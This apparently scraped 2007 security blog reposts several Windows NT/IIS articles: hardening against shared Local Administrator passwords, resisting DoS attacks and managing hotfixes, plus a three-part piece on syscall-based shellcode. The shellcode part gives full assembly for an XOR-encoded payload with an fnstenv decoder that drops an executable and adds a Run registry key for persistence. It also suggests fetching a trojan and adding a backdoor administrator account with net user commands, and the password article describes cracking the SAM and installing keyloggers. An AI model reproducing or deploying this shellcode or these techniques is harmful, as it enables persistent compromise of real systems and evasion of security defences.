A contractor is hired to do some menial programming for your company. The programmer is immediately provided with a freshly-installed NT workstation built to enterprise standards. Using a DOS boot disk and an NTFS tool he copies the local SAM to a floppy disk. Next, using L0phtCrack software he cracks the Local Administrator account on his workstation. Now, posing as "Local Administrator", the contractor can gain access to any workstation because all the workstations have the same Local Administrator password. What is he going to do with this low level of access? Maybe he only wants Administrator access to his own machine so he can install his favorite screensaver. Then again, maybe not.

With Administrator access, he could install a keyboard sniffer on any target workstation and wait for the target to authenticate to the domain. In a short, he will soon know the victim's passwords for NT, Novell, Lotus Notes, mainframes, mail systems, file systems, etc. This points out the importance of securing the NT workstation. The victim of the keyboard sniffing could easily be the CEO of your company! All too often the focus is on the NT servers without sufficient regard to the workstation: securing workstations is as important as securing servers .

All right, so you think the workstation isn't important enough - you only want to worry about your servers? The same vulnerability exists if you have servers with a common Local Administrator password. Suppose your contractor is hired and given access to a single NT server. He may then crack the Local Administrator account on that single server thereby gaining access to all the servers that share the common password. Although your intention may have been for the contractor to have access to the lowly test boxes, he now has access to your production SQL servers. The contractor - who you do not know from Adam - has now bypassed your attempts to restrict his access to a single server!

So, just to recap: in many NT environments, most, if not all, of the NT workstations or servers share a common Local Administrator password. This implementation flaw allows Joe Customer Support to crack the Local Administrator password and use that access to escalate his privileges all the way up to the CEO. Now, how do we fix it?

Solutions to Shared Passwords

One obvious and straightforward solution would be to eliminate shared passwords altogether; however, in some situations this is not feasible. If management won't let you eliminate the shared passwords, the following mitigation steps will at least let you minimize the scope of your exposure.

Limit the Attacker to Machines to Which They Have Physical Access

To accomplish this, deny the Local Administrator network access to each machine. With this restriction in place, the cracker cannot use one machine to access others over the network. This doesn't prevent an attacker from walking over to the manager's machine and logging in as the Local Administrator, it just forces him to physically access the machine. However, be warned, this mitigation only removes the network access from the attacker, they would still have the capacity for local logins. Essentially it limits only the speed and convenience of compromise.

You will need to point User Manager at each NT machine and remove the user right of "access this computer from the network" from the Administrators Group (this is the Local group) and add the same right to the Domain Administrators group. (You'll have to specifically add the domain group while in the User Rights menu). Be sure the Domain Administrators group is in the Local Administrator's group.

Minimize the Time Window for Potential Crackers

With enough time, even the strongest of passwords can be broken by a brute force attack. Time is indeed of the essence in this regard because the stronger the passwords, the longer it takes to perform a successful brute force attack. Consequently, the stronger the passwords you apply, the less often you will need to change them. You can ensure that the window of opportunity for crackers is minimized by is accomplished by changing the passwords faster than they can be cracked.

While we're busy minimizing the time window, we must also maximize the time it takes for a brute force attack by using "strong" passwords. Passwords should be a least 12 characters in length and include some non-alphanumeric characters. You'll definitely want to develop an automated mechanism for applying the new password on a scheduled basis. Pointing User Manager at every machine in a domain is just not an acceptable option. If you really must change passwords manually, then consider a commercial option for synchronizing the Local Administrator password across multiple machines such as User Manager Pro. WARNING - this mitigation doesn't rule out the many fine alternatives to CPU cycles - such as cameras, hardware keystroke capture devices, shoulder surfing, etc.

Minimize the Scope of Exposure From Any Single Machine

Even if we cannot eliminate the use of common passwords completely, we can at least use different passwords for different areas of the enterprise. Functional distinctions provide for some obvious logical groupings. For instance servers and workstations should absolutely not share the same Local Administrator password! Consider using a different Local Administrator password for each resource domain, or perhaps for logical geographical divisions such as campuses or buildings. At the very least, make sure your "mahogany row" executive desktops have a different Local Administrator password than the rank and file workstations!

Protect the Domain Account Used for Applying New Passwords

If we are going to have a common Local Administrator password for all NT machines, then the interval between password changes must be shorter than the time required to brute force the password. We must use a Domain account to affect the Local Administrator password change on all the targeted hosts. The danger here is that now this Domain account NT hash will be exposed to any hostile target machine. As a result, it is crucial to protect this Domain account from compromise! For the same reason that we should frequently change the Local Administrator password, we should also change the Domain account we use when applying new Local Administrator passwords.

Removing the Shared Local Administrator Password

Considering the weaknesses and dependencies of the steps outlined above, it is without doubt preferable to eliminate the shared passwords completely.

Creating Unique, Unpredictable and Strong Passwords

First, let's consider what kind of passwords we want to apply in place of the shared password. The security vulnerability we have been discussing arises from the commonality of a single password; however, the solution is not simply a matter of creating unique passwords, but unique passwords that are also unpredictable. Imagine that every machine in the enterprise had a unique local admin password, but that password was the same as the hostname of the machine! What's the problem with that? Predictability. An attacker must not be able to use the password for machine A to access machine B. Having passwords that are predictable is as troublesome as having passwords that are similar. Clearly, the more unpredictable each password is, the stronger our security posture becomes. Random passwords would be truly unpredictable and therefore are an excellent choice, but we must also consider the strength of a password.

It must be kept in mind that unpredictable doesn't always mean strong. A password such as "37a" might indeed be "random", and thus unpredictable, but is weak and therefore ease to brute force. In order to be truly effective, passwords must combine strength and unpredictability. The idea is to have both 0% predictability and serious strength in order to resist both brute force and logical attacks. Strength is achieved by utilizing a large character set and a sufficiently long password.

Recovery of Passwords

Second, let's consider the administrative issues surrounding the recovery of those passwords. By recovery we mean the ability to determine the Local Administrator password for a particular NT machine in an environment in which the Local Administrator password is not shared. Access to the Local Administrator account on servers or workstations is a requirement for most enterprises. This means that after we apply unpredictable, unique and strong passwords to every NT machine we will need a recovery mechanism.

Why would we need to recover a Local Administrator password? Suppose the "Senior Executive of Irrelevant Paperwork" needs to print that huge Power Point presentation just minutes before the "big" meeting, but her NIC card decides to die at this most inopportune moment. Your support staff can save the day in minutes with the Local Administrator account, or they can lecture her about the value of storing important documentation on the file server instead of her local machine and start one of several time consuming processes to rectify the situation.

It might be a server rather than a workstation - perhaps it is the SQL server in Accounting that requires a new NIC card, or some other high demand machine like the employee internet access proxy server. Whatever the situation, there are inevitably times at which password recovery will be required.

The recovery process must be simple for reasons of expedience. When support staff need to recover the Local Administrator password for a particular machine, they don't want to be given a paper form requiring multiple managerial signatures! You'll need a central database with careful access controls applied appropriately so that only your support staff can access it.

Alternatively, to avoid the central database you could utilize an algorithmic generation mechanism. This simply means that if you provide the same input to the generation algorithm, it will produce the same output. For instance, if you had a secret knowledge key such as "TrailBlazers" and the hostname of an NT machine, then you could run both character strings through the generation algorithm to create a unique password. Hopefully, you will choose a generation algorithm that provides unique, unpredictable and strong passwords. The uniqueness in this scenario comes from the use of the hostname, which must be unique in any NT domain. The recovery process uses the same technique to generate the password whenever you need it. This solution avoids the storage issues surrounding a central database, but introduces the need to manage the secret knowledge key.

In the event that recoverability is not necessary for your organization, you might consider simply applying random passwords to the Local Administrator accounts wherever possible. A good site for random password generators can be found at CNET's WinFiles.com.

Conclusion

A Local Administrator account password shared by many NT machines constitutes a security vulnerability and must be mitigated. If you cannot remove the shared password, then it is vital to minimize security risks by implementing frequent password changes and restricting network access for the Local Administrator account.

If it is possible to operate without a shared Local Administrator password, do so with the following precautions. If support staff does not require access to the Local Administrator account, then consider applying random passwords to this account on each machine. If necessary, make sure that steps are provided to allow for recoverability. I strongly encourage you to create your own solution (see example above) or pursue a commercial package to eliminate this vulnerability. Here's one of many "practical" solutions you can implement yourself:

Divide your enterprise machines into logical groups (Servers, Workstations, Mahogany Row, Sales, Bean Counters, etc..) Use a random password generator to generate passwords for each target machine. Store each hostname/password pair in a central database Secure the database such that support personnel responsible for each logical group can only access the stored passwords for machines in their logical group. Use PERL and the NetAdmin module to script the application of these passwords to each logical group.

Think carefully through the issues of passwords and recovery. Without unpredictable uniqueness you've gained nothing. Without strength you haven't improved your security position. Overlook recoverability and you might be unemployed. Charge blindly ahead without a plan for storage considerations, manual recovery procedures, generation algorithms, and a dissemination process to support staff - and you are definitely asking for a headache.

Withstanding Denial of Service Attacks

2007-09-20T23:47:00.000-07:00

Have you ever been ripped off by a company and wanted to get revenge somehow? Have you ever been terminated from a job and felt you were treated unfairly? As a teenager did you ever take a baseball bat to someone else's mailbox while speeding by in a friend's car?

We are all human and at some point we are angry with someone somewhere. Sometimes we just take out our anger on the next person who passes by. Our motivations could be revenge, jealousy, greed, or even just boredom.

But sometimes we are the victims of someone else's anger. Maybe we have wronged someone or maybe we are just a random victim. If you operate a high-profile web site, chances are that someone sometime will try to take you down. Their motivations may vary but whatever they are, you must still keep your site going 24 hours a day, seven days a week.

There are three basic ways in which a server can be attacked. It can be vandalized, robbed, or denied service. This article will be covering denial of service (DoS) and what can be done to make an IIS server more resistant to DoS attacks. This article will deal specifically with IIS and not cover other areas such as router configuration or DNS hijacking.

Configured correctly, an IIS server can actually be quite resilient to network-based attacks. Often, by following common security procedures, one can protect a server from the majority of these attacks.

What is Denial of Service?

Denial of Service is simply making a web site inaccessible to a site's normal visitors. This can be accomplished a number of ways including 100% bandwidth utilization, 100% CPU utilization, 100% RAM utilization, filling a hard drive, crashing the kernel or server applications, or redirecting traffic so that it never reaches the intended site. In the last few years there have been a number of vulnerabilities discovered in Windows NT and IIS that result in many of those conditions. There are also a number of weaknesses in the TCP/IP protocol that can be exploited to deny service from a web site. We will not be covering here the specifics of how each attack works but rather what methods can be used to protect from any number of attacks.

Keeping Patched

By following many common sense security procedures you can take a big step towards helping your site stand its ground under attack. The most obvious of these procedures is to keep up-to-date on the most current issues and vendor patches. Most importantly are Microsoft's security bulletins for Windows NT and IIS. You should also frequently monitor mailing lists and security web sites for other current security issues.

One downside of keeping up-to-date on patches is that you may be introducing code that has not been fully regression tested and may cause problems with your particular server. Patches should be analyzed carefully and backups should be made before applying them.

Closing Doors

Server software applications and services do have bugs and when you have more services running, you increase the number of battle fronts that must be monitored. Shut off all services that do not have a specific purpose for your web site. If you do not need anonymous FTP, disable it until the occasion rises that you do. The same is true for Terminal Server, NetBIOS, Telnet, and Mail servers. If you want a web server to keep serving, remove everything except that which you specifically are using to run and administer the server.

The same is true for ISAPI extension mappings and sample applications on IIS. Remove every extension mapping that you do not specifically use and keep your web root clean.

Regular Maintenance

Take advantage of the scheduler service and the disk cleanup utility to keep your temp directory and swap volumes clean with plenty of extra drive space. You should also regularly monitor log sizes and spread swap files across several volumes or drives if available.

Lock Down Network Services

The most basic advice one can give to protect the security and uptime to a web server is to remove the NetBIOS protocol. There are a number of attacks targeted at NetBIOS and the best solution is to eliminate it completely from a web server. Other protocols and clients (such as Client for Microsoft Networks) should be carefully considered when enabling them on a web server.

While on the network adaptor configuration, it may be a good idea to manually configure the IP address, gateway, and DNS servers to protect from attacks that exploit weaknesses in DHCP.

Although rarely done, enabling TCP/IP filtering on the server can also be a great protection form a number of attacks. You should only enable the ports that you will specifically be using such as 80, 443, and possibly 21 for FTP services. Keep in mind, however, that any TCP/IP filtering restrictions you set will apply to all adaptors on the system. If that proves to be too restrictive, the you should then consider a third-party firewall application.

There are a number of registry settings that can be used to make IIS more resistant to attacks based on TCP/IP protocol flaws, such as SYN floods. The recommended settings for these registry keys are as follows:
Registry Key Type Value
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\SynAttackProtect REG_DWORD 2
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\EnablePMTUDiscovery REG_DWORD 0
HCLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\NoNameReleaseOnDemand REG_DWORD 1
HCLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\EnableDeadGWDetect REG_DWORD 0
HCLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\KeepAliveTime REG_DWORD 300,000
HCLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\PerformRouterDiscovery REG_DWORD 0
HCLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\EnableICMPRedirects REG_DWORD 0

If these settings do not stop an attack, finer control can be gained over the TCP/IP parameters. Refer to the resource kits for more detailed descriptions of all the relevant settings.

Use Performance Counters and Alerts

Learning to use Windows 2000's Performance Counters and Alerts can prove to be very effective in protecting against DoS attacks. There are a number of performance counters that can be excellent indicators of a DoS attack. For example, counters that monitor the processor, RAM, hard disk, TCP, or ICMP data can all provide a good insight into how well your server is surviving. By adding alerts to predefined warning levels, you can be sure that you will have some warning in case of an attack.

Eventually someone will have some motivation for taking down your website. By taking these few precautions you can be ready when they come. Most of these techniques are very simple to implement but do require taking regular time each day to know what is going in the security world and stopping those who would like to knock your site to its knees.

Windows Syscall Shellcode -3

2007-09-16T23:03:00.000-07:00

If you experience formatting issues with the code as listed below, an archive of this proof of concept is available for download from SecurityFocus.

The shellcode - Proof Of Concept

comment $

-----------------------------------------------
WinNT (XP) Syscall Shellcode - Proof Of Concept
-----------------------------------------------
Written by: Piotr Bania
http://pb.specialised.info

$

include my_macro.inc
include io.inc

; --- CONFIGURE HERE -----------------------------------------------------------------
; If you want to change something here, you need to update size entries written above.

FILE_PATH equ "\??\C:\b.exe",0 ; dropper
SHELLCODE_DROP equ "D:\asm\shellcodeXXX.dat" ; where to drop
; shellcode
REG_PATH equ "\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Run",0

; ------------------------------------------------------------------------------------

KEY_ALL_ACCESS equ 0000f003fh ; const value

_S_NtCreateFile equ 000000025h ; syscall numbers for
_S_NtWriteFile equ 000000112h ; Windows XP SP1
_S_NtClose equ 000000019h
_S_NtCreateSection equ 000000032h
_S_NtCreateKey equ 000000029h
_S_NtSetValueKey equ 0000000f7h
_S_NtTerminateThread equ 000000102h
_S_NtTerminateProcess equ 000000101h

@syscall macro fn, param ; syscall implementation
local b, r ; for Windows XP
push fn
pop eax
push eax ; makes no diff
call b
b: add [esp],(offset r - offset b)
mov edx, esp
db 0fh, 34h
r: add esp, (param*4)
endm

path struc ; some useful structs
p_path dw MAX_PATH dup (?) ; converted from C headers
path ends

object_attributes struc
oa_length dd ?
oa_rootdir dd ?
oa_objectname dd ?
oa_attribz dd ?
oa_secdesc dd ?
oa_secqos dd ?
object_attributes ends

pio_status_block struc
psb_ntstatus dd ?
psb_info dd ?
pio_status_block ends

unicode_string struc
us_length dw ?
dw ?
us_pstring dd ?
unicode_string ends

call crypt_and_dump_sh ; xor and dump shellcode

sc_start proc

local u_string :unicode_string ; local variables
local fpath :path ; (stack based)
local rpath :path
local obj_a :object_attributes
local iob :pio_status_block
local fHandle :DWORD
local rHandle :DWORD

sub ebp,500 ; allocate space on stack
push FILE_PATH_ULEN ; set up unicode string
pop [u_string.us_length] ; length
push 255 ; set up unicode max string
pop [u_string.us_length+2] ; length
lea edi,[fpath] ; EDI = ptr to unicode file
push edi ; path
pop [u_string.us_pstring] ; set up the unciode entry

call a_p1 ; put file path address
a_s: db FILE_PATH ; on stack
FILE_PATH_LEN equ $ - offset a_s
FILE_PATH_ULEN equ 18h

a_p1: pop esi ; ESI = ptr to file path
push FILE_PATH_LEN ; (ascii one)
pop ecx ; ECX = FILE_PATH_LEN
xor eax,eax ; EAX = 0

a_lo: lodsb ; begin ascii to unicode
stosw ; conversion do not forget
loop a_lo ; to do sample align

lea edi,[obj_a] ; EDI = object attributes st.
lea ebx,[u_string] ; EBX = unicode string st.
push 18h ; sizeof(object attribs)
pop [edi.oa_length] ; store
push ebx ; store the object name
pop [edi.oa_objectname]
push eax ; rootdir = NULL
pop [edi.oa_rootdir]
push eax ; secdesc = NULL
pop [edi.oa_secdesc]
push eax ; secqos = NULL
pop [edi.oa_secqos]
push 40h ; attributes value = 40h
pop [edi.oa_attribz]

lea ecx,[iob] ; ECX = io status block
push eax ; ealength = null
push eax ; eabuffer = null
push 60h ; create options
push 05h ; create disposition
push eax ; share access = NULL
push 80h ; file attributes
push eax ; allocation size = NULL
push ecx ; io status block
push edi ; object attributes
push 0C0100080h ; desired access
lea esi,[fHandle]
push esi ; (out) file handle
@syscall _S_NtCreateFile, 11 ; execute syscall

lea ecx,[iob] ; ecx = io status block
push eax ; key = null
push eax ; byte offset = null
push main_exploit_s ; length of data
call a3 ; ptr to dropper body

s1: include msgbin.inc ; dopper data
main_exploit_s equ $ - offset s1

a3: push ecx ; io status block
push eax ; apc context = null
push eax ; apc routine = null
push eax ; event = null
push dword ptr [esi] ; file handle
@syscall _S_NtWriteFile, 9 ; execute the syscall

mov edx,edi ; edx = object attributes
lea edi,[rpath] ; edi = registry path
push edi ; store the pointer
pop [u_string.us_pstring] ; into unicode struct
push REG_PATH_ULEN ; store new path len
pop [u_string.us_length]

call a_p2 ; store the ascii reg path
a_s1: db REG_PATH ; pointer on stack
REG_PATH_LEN equ $ - offset a_s1
REG_PATH_ULEN equ 7eh

a_p2: pop esi ; esi ptr to ascii reg path
push REG_PATH_LEN
pop ecx ; ECX = REG_PATH_LEN

a_lo1: lodsb ; little ascii 2 unicode
stosw ; conversion
loop a_lo1

push eax ; disposition = null
push eax ; create options = null
push eax ; class = null
push eax ; title index = null
push edx ; object attributes struct
push KEY_ALL_ACCESS ; desired access
lea esi,[rHandle]
push esi ; (out) handle
@syscall _S_NtCreateKey,6

lea ebx,[fpath] ; EBX = file path
lea ecx,[fHandle] ; ECX = file handle
push eax
pop [ecx] ; nullify file handle

push FILE_PATH_ULEN - 8 ; push the unicode len
; without 8 (no '\??\')
push ebx ; file path
add [esp],8 ; without '\??'
push REG_SZ ; type
push eax ; title index = NULL
push ecx ; value name = NULL = default
push dword ptr [esi] ; key handle
@syscall _S_NtSetValueKey,6 ; set they key value

dec eax
push eax ; exit status code
push eax ; process handle
; -1 current process
@syscall _S_NtTerminateProcess,2 ; maybe you want
; TerminateThread instead?

ssc_size equ $ -offset sc_start

sc_start endp

exit:
push 0
@callx ExitProcess

crypt_and_dump_sh: ; this gonna' xor
; the shellcode and
mov edi,(offset sc_start - 1) ; add the decryptor
mov ecx,ssc_size ; finally shellcode file
; will be dumped
xor_loop:
inc edi
xor byte ptr [edi],96h
loop xor_loop

_fcreat SHELLCODE_DROP,ebx ; some of my old crazy
_fwrite ebx,sh_decryptor,sh_dec_size ; io macros
_fwrite ebx,sc_start,ssc_size
_fclose ebx

jmp exit

sh_decryptor: ; that's how the decryptor
xor ecx,ecx ; looks like
mov cx,ssc_size

fldz
sh_add: fnstenv [esp-12] ; fnstenv decoder
pop edi
add edi,sh_dec_add

sh_dec_loop:
inc edi
xor byte ptr [edi],96h
loop sh_dec_loop

sh_dec_add equ ($ - offset sh_add) + 1
sh_dec_size equ $ - offset sh_decryptor

end start

Final words
The author hopes you have enjoyed the article. If you have any comments don't hesitate to contact him; also remember that code was developed purely for educational purposes only.
Further reading

1. "Inside the Native API" by Mark Russinovich
2. "MSDN" from Microsoft
3. Interactive Win32 syscall page from Metasploit

About the author
Piotr Bania is an independent IT Security/Anti-Virus Researcher from Poland with over five years of experience. He has discovered several highly critical security vulnerabilities in popular applications like RealPlayer. More information can be found on his website.

Windows Syscall Shellcode - 2

2007-09-16T23:02:00.000-07:00

In Windows 2000 (and other NT based systems except XP and newer) no SYSENTER instruction is used. However, in Windows XP the "int 2eh" (our old way) was replaced by SYSENTER instruction. The following schema shows the syscall implementation for Windows 2000:

MOV EAX, SyscallNumber ; requested syscall number
LEA EDX, [ESP+4] ; EDX = params...
INT 2Eh ; throw the execution to the KM handler
RET 4*NUMBER_OF_PARAMS ; return

We know already the Windows XP way, however here is the one I'm using in shellcode:

push fn ; push syscall number
pop eax ; EAX = syscall number
push eax ; this one makes no diff
call b ; put caller address on stack
b: add [esp],(offset r - offset b) ; normalize stack
mov edx, esp ; EDX = stack
db 0fh, 34h ; SYSENTER instruction
r: add esp, (param*4) ; normalize stack

It seems that SYSENTER was first introduced in the Intel Pentium II processors. This author is not certain but one can guess that SYSENTER is not supported by Athlon processors. To determine if the instruction is available on a particular processor, use the CPUID instruction together with a check for the SEP flag and some specific family/model/stepping checks. Here is the example how Intel does this type of checking:

IF (CPUID SEP bit is set)
THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3)
THEN
SYSENTER/SYSEXIT_NOT_SUPPORTED
FI;
ELSE SYSENTER/SYSEXIT_SUPPORTED
FI;

But of course this is not the only difference in various Windows operating systems -- system call numbers also change between the various Windows versions, as the following table shows:
Syscall symbol NtAddAtom NtAdjustPrivilegesToken NtAlertThread
Windows NT SP 3 0x3 0x5 0x7
SP 4 0x3 0x5 0x7
SP 5 0x3 0x5 0x7
SP 6 0x3 0x5 0x7
Windows 2000 SP 0 0x8 0xa 0xc
SP 1 0x8 0xa 0xc
SP 2 0x8 0xa 0xc
SP 3 0x8 0xa 0xc
SP 4 0x8 0xa 0xc
Windows XP SP 0 0x8 0xb 0xd
SP 1 0x8 0xb 0xd
SP 2 0x8 0xb 0xd
Windows 2003 Server SP 0 0x8 0xc 0xe
SP 1 0x8 0xc 0xe

The syscall number tables are available on the Internet. The reader is advised to look at the one from metasploit.com, however other sources may also be good.

Syscall shellcode advantages
There are several advantages when using this approach:

* Shellcode doesn't require the use of APIs, due to the fact that it doesn't have to locate API addresses (there is no kernel address finding/no export section parsing/import section parsing, and so on). Due to this "feature" it is able to bypass most of ring3 "buffer overflow prevention systems." Such protection mechanisms usually don't stop the buffer overflow attacks in itself, but instead they mainly hook the most used APIs and check the caller address. Here, such checking would be of no use.
* Since you are sending the requests directly to the kernel handler and you "jump over" all of those instructions from the Win32 Subsystem, the speed of execution highly increases (although in the era of modern processors, who truly cares about speed of shellcode?).

Syscall shellcode disadvantages
There are also several disadvantages to this approach:

* Size -- this is the main disadvantage. Becase we are "jumping over" all of those subsytem wrappers, we need to code our own ones, and this increases the size of shellcode.
* Compability -- as has been written above, there exist various implementations from "int 2eh" to "sysenter," depending on the operating system version. Also, the system call number changes together with each Windows version (for more see the References section).

The ideas
The shellcode at the end of this article dumps a file and then writes an registry key. This action causes execution of the dropped file after the computer reboots. Many of you may ask me why we would not to execute the file directly without storing the registry key. Well, executing win32 application by syscalls is not a simple task -- don't think that NtCreateProcess will do the job; let's look at what CreateProcess API must do to execute an application:

1. Open the image file (.exe) to be executed inside the process.
2. Create the Windows executive process object.
3. Create the initial thread (stack, context, and Windows executive thread object).
4. Notify the Win32 subsystem of the new process so that it can set up for the new process and thread.
5. Start execution of the initial thread (unless the CREATE_SUSPENDED flag was specified).
6. In the context of the new process and thread, complete the initialization of the address space (such as load required DLLs) and begin execution of the program.

Therefore, it is clearly much easier and quicker to use the registry method. The following shellcode that concludes this article drops a sample MessageBox application (mainly, a PE struct which is big itself so the size increases) however there are plenty more solutions. Attacker can drop some script file (batch/vbs/others) and download a trojan/backdoor file from an ftp server, or just execute various commands such as: "net user /add piotr test123" & "net localgroup /add administrators piotr". This idea should help the reader with optimizations, now enjoy the proof of concept shellcode.

Windows Syscall Shellcode - 1

2007-09-16T23:01:00.000-07:00

Introduction
This article has been written to show that is possible to write shellcode for Windows operating systems that doesn't use standard API calls at all. Of course, as with every solution, this approach has both advantages and disadvantages. In this paper we will look at such shellcode and also introduce some example usage. IA-32 assembly knowledge is definitely required to fully understand this article.

All shellcode here has been tested on Windows XP SP1. Note that there are variations in the approach depending on the operating system and service pack level, so this will be discussed further as we progress.
Some background

Windows NT-based systems (NT/2000/XP/2003 and beyond) were designed to handle many subsystems, each having its own individual environment. For example, one of NT subsystems is Win32 (for normal Windows applications), another example would be POSIX (Unix) or OS/2. What does it mean? It means that Windows NT could actually run (of course with proper os add-ons) OS/2 and support most of it features. So what changes were made as the OS was developed? To support all of these potential subsystems, Microsoft made unified set of APIs which are called wrappers of each subsystem. In short, all subsystems have all the needed libraries for them to work. For example Win32 apps call the Win32 Subsystem APIs, which in fact call NT APIs (native APIs, or just natives). Natives don't require any subsystem to run.

From native API calls to syscalls

Is this theory true, that shellcode can be written without any standard API calls? Well, for some APIs it is for some it isn't. There are many APIs that do their job without calling native NT APIs and so on. To prove this, let's look at the GetCommandLineA API exported from KERNEL32.DLL.

.text:77E7E358 ; --------------- S U B R O U T I N E -------------------------
.text:77E7E358
.text:77E7E358
.text:77E7E358 ; LPSTR GetCommandLineA(void)
.text:77E7E358 public GetCommandLineA
.text:77E7E358 GetCommandLineA proc near
.text:77E7E358                 mov eax, dword_77ED7614
.text:77E7E35D                 retn
.text:77E7E35D GetCommandLineA endp

This API routine doesn't use any arbitary calls. The only thing it does is the return the pointer to the program command line. But let's now discuss an example that is in line with our theory. What follows is part of the TerminateProcess API's disassembly.

.text:77E616B8 ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode)
.text:77E616B8 public TerminateProcess
.text:77E616B8 TerminateProcess proc near           ; CODE XREF: ExitProcess+12 j
.text:77E616B8                                      ; sub_77EC3509+DA p
.text:77E616B8
.text:77E616B8 hProcess       =        dword ptr 4
.text:77E616B8 uExitCode      =        dword ptr 8
.text:77E616B8
.text:77E616B8                  cmp [esp+hProcess], 0
.text:77E616BD                  jz short loc_77E616D7
.text:77E616BF                  push [esp+uExitCode]       ; 1st param: Exit code
.text:77E616C3                  push [esp+4+hProcess]      ; 2nd param: Handle of process
.text:77E616C7                  call ds:NtTerminateProcess ; NTDLL!NtTerminateProcess

As you can see, the TerminateProcess API passes arguments and then executes NtTerminateProcess, exported by NTDLL.DLL. The NTDLL.DLL is the native API. In other words, the function which name starts with 'Nt' is called the native API (some of them are also ZwAPIs - just look what exports from the NTDLL library). Let's now look at NtTerminateProcess.

.text:77F5C448 public ZwTerminateProcess
.text:77F5C448 ZwTerminateProcess proc near      ; CODE XREF: sub_77F68F09+D1 p
.text:77F5C448                                   ; RtlAssert2+B6 p
.text:77F5C448 mov eax, 101h                     ; syscall number: NtTerminateProcess
.text:77F5C44D mov edx, 7FFE0300h                ; EDX = 7FFE0300h
.text:77F5C452 call edx                          ; call 7FFE0300h
.text:77F5C454 retn 8
.text:77F5C454 ZwTerminateProcess endp

This native API infact only puts the number of the syscall to eax and calls memory at 7FFE0300h, which is:

7FFE0300      8BD4    MOV EDX,ESP
7FFE0302      0F34    SYSENTER
7FFE0304      C3      RETN

And that shows how the story goes; EDX is now user stack pointer, EAX is the system call to execute. The SYSENTER instruction executes a fast call to a level 0 system routine, which does rest of the job.

Winning the Hotfix Race

2007-09-15T23:19:00.000-07:00

Even a Broken Watch is Correct Twice a Day

Any NT or IIS admin is familiar with the process of applying service packs and hotfixes--as well as all the problems associated with it. But the fact is, no software is going to work 100% of the time, especially when you take into consideration the many security concerns of a web server. But Microsoft does not always make it easy on us.

The process of keeping up-to-date can be a time-consuming and often confusing process. First, one must be aware of the issues and the availability of a fix. Then one must determine if the fix should actually be applied to each server. And finally there are the logistical issues of deploying hotfixes to a number of servers. But as long as there is software, there will be hotfixes for that software.

When To Fix

Obviously, a good time to apply service packs and hotfixes is immediately after installing a product on your computer. A fresh install of any OS is considered insecure and is normally full of holes. Windows NT and Windows 2000 are no exception. But applying hotfixes after a fresh install is not going to keep the OS secure. You must keep up with Microsoft Security Advisories in order to stay secure. You must also often reapply service packs and hotfixes when adding or removing certain system components.

But how do you know exactly what needs to be reapplied after which components are added or removed? Keeping track of what changes can be difficult and much of the documentation available can be confusing and sometimes contradictory. Often, many administrators will just reapply all service packs and hotfixes regularly just to be safe. But there are also some third-party tools that may help the process such as SPQuery or Service Pack Manager.

If It Ain't Broke, Don't Fix It

System administrators have many different philosophies when it comes to hotfixes. Some will religiously apply every available fix while others will never touch a system that is already working well. There's a an Italian saying "Una scopa nuova spazza bene" which translates to "A new broom sweeps well." We all like the new car smell but sometimes new software is not always the best answer. There are systems out there that have 99.9999% uptime but that is only because they are running the same software that was originally installed ten years ago. The proper way to approach the problem is to balance the benefits of a hotfix to the risks of introducing new bugs. I imagine that some hotfxes are nothing more than the software version of duct tape and bailing wire and even Microsoft warns against using all hotfixes unless specifically needed. Most hotfixes have not been fully regression tested so the implications of applying them are for the most part unknown.

So the question is really one of whether you really need the update or not. Often, the security benefits of a hotfix far outweigh the risks of applying the fix. Nonetheless, if the hotfix applies to a service or function that you are not using, you may be better off just not applying it. However, you must keep track of which fixes are applied to a server so that if you ever do use that service or function in the future, you can know to apply the hotfix.

When deciding to apply an advisory it is good practice to review the associated knowledge base article. Every hotfix will be accompanied by a knowledge base article that is often included with the hotfix itself. These articles will usually explain who needs to apply the hotfix and what problems are corrected. Keep in mind, however, that often the article will be vague about the actual exploit, making it difficult to decide if there is another workaround without having to apply the fix. Often, if the bug was discovered by another company and reported to Microsoft, they will have their own advisory that will have much more detail. Check the security mailing lists if necessary to get more information about the hotfix.

Applying the Patch

Once you have determined to install a hotfix, you should download and install it on a test system. Usually this is a non-critical server that has a similar configuration as your main web server. The time spent testing really depends on your resources, time, and risk exposure. Once satisfied with the stability of the patch, you can then plan to put it on your production server. If possible, time the update at a time when your web traffic is low. If you have multiple web servers, only work on one at a time, making sure that one is up and running stable before working on the next.

If you are installing a new server and are applying multiple patches, keep in mind that it is usually important that the fixes be applied in the correct order. Microsoft usually documents the correct order, but it is not always very clear and can sometimes be difficult to follow. To cope with this, I usually save each hotfix in a directory that includes the Q-number, such as "Q244599 C2-Fix." That way, the hotfixes are for the most part saved in a chronological order and can be reapplied in that same order. It is also important to remember to group them by service packs as well, as the service packs will include most of the previous hotfixes--but not always.

Another good reason for tracking the hotfixes by their Q-number is so that when you are reading the documentation for a service pack, you can easily see which ones are included and which ones are not. Although most hotfixes will be rolled in to the service packs, there are times when a fix may not be best for everyone and so therefore they are not included. You must manually keep track of this and be sure to apply the old hotfixes when necessary.

With the new Windows Update service, it is quick and easy to keep your system patched. But like the service packs, not all hotfixes are included. The only way to know which ones are included and which ones are not is to use both the Windows Update site as well as the Security Bulletin site.

Keeping Up With Updates

Keeping up with all the service packs and hotfixes is not as simple as it seems. I have already mentioned Windows Update and the Security Bulletin site, but there are also other places where fixes may be hidden. Here is a list of resources that may be good to check regularly:

Microsoft Sites:

Windows NT Hotfixes - Hotfixes for Windows NT 4 and 3.51

Windows NT Service Packs - Service Packs for Windows NT 4 and 3.51

Windows 2000 Downloads Page - Contains all critical updates, service packs, and other downloads for Windows 2000

Microsoft's Main Downloads Page - Allows you to search for downloads for any Microsoft product

Microsoft's FTP Site - FTP access to most product updates, although some are hidden in obscure locations

Office Update - Downloads and updates for Microsoft Office

Microsoft's DLL Help Database - Very useful database for tracking down dll versions

Non-Microsoft Sites:

Paperbits - Excellent update resource for Windows NT as well as third-party drivers

Versions - Tracks version numbers for a number of software applications

